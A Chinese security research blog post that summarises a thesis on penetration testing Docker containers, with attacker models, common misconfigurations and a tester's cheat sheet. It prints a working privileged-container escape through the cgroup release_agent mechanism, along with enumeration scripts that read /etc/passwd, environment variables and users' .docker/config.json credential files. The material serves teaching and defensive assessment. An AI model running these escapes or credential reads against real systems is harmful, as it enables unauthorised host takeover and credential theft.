学习
实践
活动
专区
工具
TVP
写文章
专栏首页绿盟科技研究通讯【云原生攻防研究】针对容器的渗透测试方法

【云原生攻防研究】针对容器的渗透测试方法

一、简介

近期笔者在进行相关调研时,读到一篇总结容器环境下渗透测试方法的2020年毕业论文,作者是Joren Vrancken,就读于荷兰奈梅亨大学计算机科学专业。

该论文创新点不多,但实践性强。考虑到目前「云原生」生态正在迅速发展壮大,而专门针对云原生环境基石——容器的渗透测试进行介绍的系统化资料并不丰富,笔者在此以导读形式向大家推荐这篇论文,希望能够引发更多的思考。

原文链接:https://www.cs.ru.nl/bachelors-theses/2020/Joren_Vrancken___4593847___A_Methodology_for_Penetration_Testing_Docker_Systems.pdf

二、攻击者模型

作者从渗透测试工程师的角度分析了Docker系统可能面临的安全问题,引入两个攻击者模型:「容器逃逸」和「针对Docker守护进程的攻击」,分别对应位于容器内部的攻击者和位于运行了Docker守护进程的宿主机上的攻击者。

其中,容器逃逸包括容器内进程影响到宿主机或其他容器两种情况,示意图如下:

针对Docker守护进程的攻击则指宿主机上低权限攻击者借助Docker守护进程获取到敏感数据或更高权限,示意图如下:

事实上,这两种模型较为简单,不能完全概括容器环境涉及到的安全问题。相比之下,Sari Sultan等人提出的攻击者模型[3]则更加完整,他们对整个容器环境的潜在攻击面和攻击对象进行梳理,抽象出四类威胁,大家可以对照了解一下:

三、安全问题

接着,作者从「错误配置」和「安全漏洞」两个角度对上述两个场景中的安全问题进行了梳理。为方便理解,笔者将这部分内容组织为思维导图形式,具体如下:

可以看到,其中错误配置比安全漏洞多出不少。其中,早期CAP_DAC_READ_SEARCH权限的存在导致了当时非常有名的容器逃逸工具shocker[3]的产生。

作者认为渗透测试时应该更关注错误配置,因为安全漏洞更容易被用户修复。

另外,Linux用户手册给出了Capabilities的详细解释[4],其中包含对CAP_DAC_READ_SEARCHCAP_SYS_ADMIN等权限的详细解释;在Black Hat 2017会议上,研究人员给出了一种使用Host Rebinding方法绕过同源策略攻击Windows平台本地监听的Docker TCP端口从而实现远程控制的攻击方式[5];在KCon 2019会议上,研究人员介绍了针对Docker容器网络的ARP欺骗攻击[6]。

最后,上述安全问题中有不少与「容器逃逸」相关,绿盟科技研究通讯曾发布过一篇【云原生攻防研究】容器逃逸技术概览[7],推荐感兴趣的读者继续阅读。

四.渗透测试方法

在以上梳理的基础上,作者从手动测试和自动化测试两方面给出了具体的渗透测试方法。为方便理解,笔者将这部分内容组织为思维导图形式,具体如下:

其中值得关注的是:

宿主机内核识别:在没有应用安全容器的情况下,容器和宿主机共享内核,因此,我们可以通过识别宿主机内核版本来判断哪些内核漏洞能够用来实现权限提升或漏洞逃逸;

环境变量读取:环境变量本身是一种常用的宿主机与容器的通信方式。然而,作为容器内的攻击者,他同样获得环境变量中可能存在的敏感信息,从而扩大战果,如借助环境变量设置数据库访问凭证的场景:

特权模式检查:对于容器内的攻击者来说,特权模式几乎就意味着容器逃逸。如下图所示,特权模式意味着容器内进程将具备等同于宿主机上进程的所有权限:

我们在【云原生攻防研究】容器逃逸技术概览[7]介绍了在处于特权模式时如何进行容器逃逸的具体方法。2019年,有研究人员公布了一种新的借助特权模式进行容器逃逸的方法[8],继而有文章[9]对该方法进行了详细剖析,比较有趣,笔者在这里分享一下:

我们首先在宿主机上启动一个特权容器,来模拟攻击场景:

docker run --rm -it --privileged ubuntu bash

然后作为攻击者,在容器内执行:

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

上述命令的实际效果是在宿主机上执行了ps aux命令,其结果被存储在容器内/output文件中。如下图所示,我们的确在容器内部成功读取到了容器外部的进程列表:

该攻击手法实际上利用了Linux cgroup v1的notify_on_release特性,详情可参考文献[10]。在普通容器中,由于不具有SYS_ADMIN权限,以及AppArmor的限制,这种攻击无法成功。因此,特权模式是危险的。

我们不再对思维导图上的每一种攻击方式进行展开介绍,其中许多攻击本身就是传统主机攻防常用的技术。感兴趣的读者可以阅读论文深入了解。

最后,经过调研,作者发现当前并没有较为完整全面的自动化容器安全评估工具。换而言之,手工渗透测试还是不可替代的。

五. 渗透测试速查表

最后,也是全文最有价值的部分——作者给出了一份供渗透测试工程师使用的速查表,来辅助进行针对容器环境的渗透测试,其中条目以问题的形式给出,渗透测试工程师可以通过执行测试、回答问题来增加对目标环境的认识。

值得提醒的是,针对容器环境的渗透测试手段往往属于一次完整渗透测试的后渗透阶段,在这个阶段,攻击者借助不断地进行环境探测和侦查来完成对目标环境可能脆弱点的评估,进而对可能的脆弱点加以利用。

1首先探测是否为容器环境

问题:/.dockerenv文件是否存在?

操作:执行ls /.dockerenv查看。

问题:/proc/1/cgroup中是否包括/docker字样?

操作:执行grep '/docker' /proc/1/cgroup查看。

问题:当前环境内的进程数是否少于5个?

操作:执行ps aux查看。

问题:PID为1的进程是否是常规init进程(如systemd或init)?

操作:执行ps -p1查看PID为1的进程。

问题:当前环境是否缺少常见库或工具?

操作:执行which xxx来查看常用工具是否存在,例如执行which sudo来查看sudo是否存在。

针对以上问题,笔者整理出一份自动化测试脚本如下:

#!/bin/bash

DOCKER_ENV_FILE=/.dockerenv
DOCKER=docker
DOCKER_CGROUP=/proc/1/cgroup

ls -al $DOCKER_ENV_FILE
grep "$DOCKER" $DOCKER_CGROUP
ps aux
ps -p1
which sudo
which apt
which vi
which ping
which ssh

问题:当前用户是?

操作:执行id查看当前用户和用户组。

问题:当前环境中存在哪些用户?

操作:读取/etc/passwd数据,例如cat /etc/passwd。

问题:容器操作系统是?

操作:读取/etc/os-release数据,获得操作系统相关信息。

问题:有哪些进程在容器内运行?

操作:执行ps aux查看。

问题:宿主机内核版本是?

操作:执行uname -a查看。

问题:容器内进程具有哪些权限(capabilities)?

操作:执行grep CapEff /proc/self/status获得权限值,在其他系统上执行capsh --decode=value将前面获得的值解析为具体权限。例如:

问题:当前容器是否运行在特权模式?

操作:如果上一步中得到的权限值为0000003fffffffff,那么容器就运行在特权模式,我们就能够进行容器逃逸。

问题:容器挂载了哪些卷?

操作:读取/proc/mounts数据,查看卷挂载情况。

问题:环境变量中是否存储了敏感信息?

操作:执行env命令,列举所有环境变量。

问题:容器内是否挂载了Docker Socket?

操作:检查/proc/mounts是否包含docker.sock或类似文件。通常/run/docker.sock或/var/run/docker.sock会是挂载点。如果发现挂载,我们就能够进行容器逃逸。

问题:哪些主机是当前环境下网络可达的?

操作:有条件的话应该使用nmap探测。还可以先读取/etc/hosts查看容器的IP地址。例如:

针对以上问题,笔者整理出一份自动化测试脚本如下:

#!/bin/bash

id
cat /etc/passwd
cat /etc/os-release
ps aux
uname -a
grep CapEff /proc/self/status
CAP=`grep CapEff /proc/self/status | cut  -f 2`
if [ "$CAP" = "0000003fffffffff" ]; then
  echo -e "Container is privileged."
else
  echo -e "Container is not privileged."
fi
cat /proc/mounts
env
cat /proc/mounts | grep docker.sock
cat /etc/hosts

3从运行Docker守护进程的宿主机上发起测试

问题:Docker版本是多少?

操作:执行docker --version查看。我们可以据此判断一些已知漏洞是否存在。

问题:哪些CIS条目没有被正确地配置?

操作:运行Docker Bench for Security项目[1]来快速发现安全缺陷。笔者在本地环境下的部分测试结果如下图所示:

问题:哪些用户被允许与Docker Socket交互?

操作:执行ls -l /var/run/docker.sock来查看/var/run/docker.sock所属用户和用户组,以及哪些用户对其有读写权限。

问题:哪些用户在docker用户组中?

操作:执行grep docker /etc/group查看。

问题:Docker客户端工具是否设置了setuid标志位?

操作:执行ls -l $(which docker)查看。

问题:当前宿主机上有哪些可用镜像?

操作:执行docker images -a查看。

问题:当前宿主机上有哪些容器?

操作:执行docker ps -a查看。

问题:Docker守护进程是如何启动的(带了哪些参数)?

操作:读取配置文件,例如/usr/lib/systemd/system/docker.service和/etc/docker/daemon.json来查看。

问题:当前宿主机上是否存在一些docker-compose.yaml文件?

操作:执行find / -name "docker-compose.*"查看。

问题:当前宿主机上是否存在.docker/config.json文件?

操作:执行cat /home/*/.docker/config.json来读取任何可能存在的.docker/config.json文件。

问题:iptables规则集是否同时为宿主机和容器设置?

操作:执行iptables -vnL或iptables -t filter -vnL查看。

针对以上问题,笔者整理出一份自动化测试脚本如下:

#!/bin/bash

ls -l /var/run/docker.sock
grep docker /etc/group
ls -l $(which docker)
docker images -a
docker ps -a
cat /usr/lib/systemd/system/docker.service
cat /etc/systemd/system/docker.service
cat /etc/docker/daemon.json
find / -name "docker-compose.*"
cat /home/*/.docker/config.json
iptables -t filter -vnL

六. 总结

本篇论文尝试给出一个可行的针对容器环境的渗透测试流程。

作者提出的「错误配置可能比安全漏洞更容易存在」的观点是我们在实践中经常有的体会。例如,渗透测试过程中常常涉及到权限提升。有时候,勤快的管理员会第一时间对系统打补丁,消除安全漏洞;又或者,针对具体系统环境计算好偏移量编写出一个能用的Exploit过于复杂。与此形成鲜明对比的是,只要能够在系统中找到一处权限配置不当的地方,就能够使用非常简洁的手段完成权限提升。那么这一点从防守视角来看,就是说错误配置更难于完全消除,尤其是在各种机制错综复杂的系统中。

笔者在开篇提到,当前的容器安全攻防资料更多是碎片化的,缺乏系统性的资料积累,这一点与容器以及云原生相关技术的飞速发展并不相适应。这篇论文提供了一个不错的视角和范例,尽管它在技术深度和广度上都还有很大提升空间。

结合经验可以发现,针对容器环境的渗透测试既存在与传统环境下的渗透测试相一致的地方,又存在明显不同的地方。相同之处在于:向上,承载的应用并没有发生变化,因此应用层攻防还是原来的积累;向下,容器作为进程运行在传统操作系统上,权限控制和文件系统等也几乎没有变化,因此系统攻防原来的积累依然有效。不同点在于,容器这种轻量虚拟化所依赖的隔离特性,以及诸多为增强隔离特性新施加的安全机制。然而与此同时,这种隔离有时并没有想象中那么牢固,容易被打破,这些现状同时给攻防两端带来了新的机遇和挑战。

无论是系统化分析研究也好,黑白灰盒测试也罢,我们希望能够让云计算世界变得更加安全——在越来越多的重要生产业务被放在容器云端之前。

参考文献:

[1].https://github.com/docker/docker-bench-security

[2].Containers’ Security: Issues, Challenges, and Road Ahead

[3].http://stealth.openwall.net/xSports/shocker.c

[4].http://man7.org/linux/man-pages/man7/capabilities.7.html

[5].https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf

[6].https://github.com/knownsec/KCon/blob/master/2019/25日/针对Docker容器网络的ARP欺骗与中间人攻击.pdf

[7].https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247487393&idx=1&sn=6cec3da009d25cb1c766bb9dae809a86&chksm=e84fa97edf382068250b4811419aa17811c7f244ab87dcbcbe63be328f98ecaf0ab9feeedf8c#rd

[8].https://twitter.com/_fel1x/status/1151487051986087936

[9].https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

[10].https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt

内容编辑:星云实验室 阮博男 责任编辑:肖晴

文章分享自微信公众号:
绿盟科技研究通讯

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:星云实验室
原始发表时间:2020-04-17
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • 【云原生攻防研究 】针对AWS Lambda的运行时攻击

    笔者在上一篇文章《Serverless安全研究— Serverless安全风险》中介绍了责任划分原则。对于开发者而言, Serverless因其服务端托管云厂商...

    绿盟科技研究通讯
  • 【云原生攻防研究】容器环境相关的内核漏洞缓解技术

    在容器逃逸技术概览一文中我们提到,由于容器与宿主机共享内核,内核漏洞成为容器逃逸的四大原因之一。由于潜在后果的严重性(提升至系统最高权限)和影响的广泛性(一个漏...

    绿盟科技研究通讯
  • 《云原生安全: 攻防实践与体系构建》解读:动手实践篇

    在《〈云原生安全: 攻防实践与体系构建〉解读:攻防对抗篇》中,我们为大家介绍了《云原生安全:攻防实践与体系构建》书中精彩的攻防对抗技术与案例。事实上,无论是对于...

    绿盟科技研究通讯
  • 【云原生攻防研究】云原生环境渗透相关工具考察

    「云原生」生态正在迅速发展壮大,而专门针对云原生环境下的渗透测试进行介绍的资料却并不丰富。

    绿盟科技研究通讯
  • Metarget:云原生攻防靶场开源啦!

    对于研究人员和攻防实战人员来说,免不了在漏洞曝出后搭环境测试;对于安全开发同学来说,免不了在脆弱环境内一边运行防御检测系统,一边运行PoC或ExP,测试功能有效...

    绿盟科技研究通讯
  • 一文透析腾讯云云上攻防体系

    近年来,网络安全问题变得愈发严峻,企业被黑客攻陷事件层出不穷,企业攻防犹如一道隔绝外界侵扰的屏障,一旦屏障被攻破,信息数据安全便失去保障。随着云计算浪潮到来,越...

    腾讯安全
  • 深入浅出云原生环境信息收集技术(一)

    信息收集在攻击和防御两端都是非常重要的一环。从宏观的角度来说,大多数信息相关的工作都可以看作信息收集和信息处理交替进行的循环。优质的信息收集成果是后续工作顺利展...

    绿盟科技研究通讯
  • 每周云安全资讯-2022年第22周

    云原生安全 1 云安全评估:渗透测试与入侵和攻击模拟 正如 DevOps 使基础架构成为一种代码形式一样,BAS 正在使云安全可编程、可测试且更可靠 http...

    云鼎实验室
  • 红蓝对抗中的云原生漏洞挖掘及利用实录

    2020年年末的时候,我们于CIS2020上分享了议题《Attack in a Service Mesh》讲述我们在近一年红蓝对抗演练中所遇到的云原生企业架构以...

    腾讯安全应急响应中心
  • FreeBuf周报 | 英伟达多达1TB数据被盗;丰田因供应商遭受网络攻击而停产

    各位FreeBufer周末好~以下是本周的「FreeBuf周报」,我们总结推荐了本周的热点资讯、优质文章和省心工具,保证大家不错过本周的每一个重点!

    FB客服
  • 乌克兰国防系统的密码真的是123456?

    最近有一篇热文《乌克兰国防军队的系统账号和密码分别是 admin 和 123456!》提到乌克兰武装部队的“第聂伯罗”军事自动化控制系统,服务器网络保护十分原始...

    华章科技
  • 云原生安全实践

    Clare是安全架构师,专注于信息安全攻防研究和深度测试,今天分享的主题是“云原生安全实践”。

    火线安全
  • 每周云安全资讯

    ‍‍ 云原生安全 1 如何解决混合云安全和 DevSecOps  Red Hat 表示,将 Sec 纳入 DevOps是 关键 链接:https://c1n....

    云鼎实验室
  • 5000字解析:实战化场景下的容器安全攻防之道

    在这个数字化转型关键时期,以容器为代表的云原生技术凭借自身的优势,正在逐渐成为核心IT基础设施。云原生已经不再是少部分“创新者”的特权,而是成为了市场主流选择,...

    Khan安全团队
  • 5000字解析:实战化场景下的容器安全攻防之道

    在这个数字化转型关键时期,以容器为代表的云原生技术凭借自身的优势,正在逐渐成为核心IT基础设施。云原生已经不再是少部分“创新者”的特权,而是成为了市场主流选择,...

    亿人安全
  • 《云原生安全: 攻防实践与体系构建》解读:业务安全篇

    随着云原生技术的发展,业务系统从原有的单体架构逐步转换为微服务架构。微服务架构使应用的开发和业务的扩展变得更加便利,同时也带来了许多新的安全问题。那么,生长在云...

    绿盟科技研究通讯
  • 每周云安全资讯-2022年第37周

    —— 1 对云函数隐藏C2技术的防御反制思路 本文将从防御者角度出发,来讲解防御云函数反向代理C2的技术。 https://xz.aliyun.com/t/1...

    云鼎实验室
  • PWN个痛快!我们就是要让新基建更安全

    今天,又是1024程序员节,又是一年一度GeekPwn 国际安全极客大赛举办的大日子。

    腾讯安全
  • 保卫腾讯云,专访云鼎实验室董志强(Killer)团队 | 卓越技术团队访谈录

    网络安全领域的极客也被称之为“黑客”,这个词曾是完全的褒义词,也一度是中文互联网上最闪耀的一颗星。

    深度学习与Python

扫码关注腾讯云开发者

领取腾讯云代金券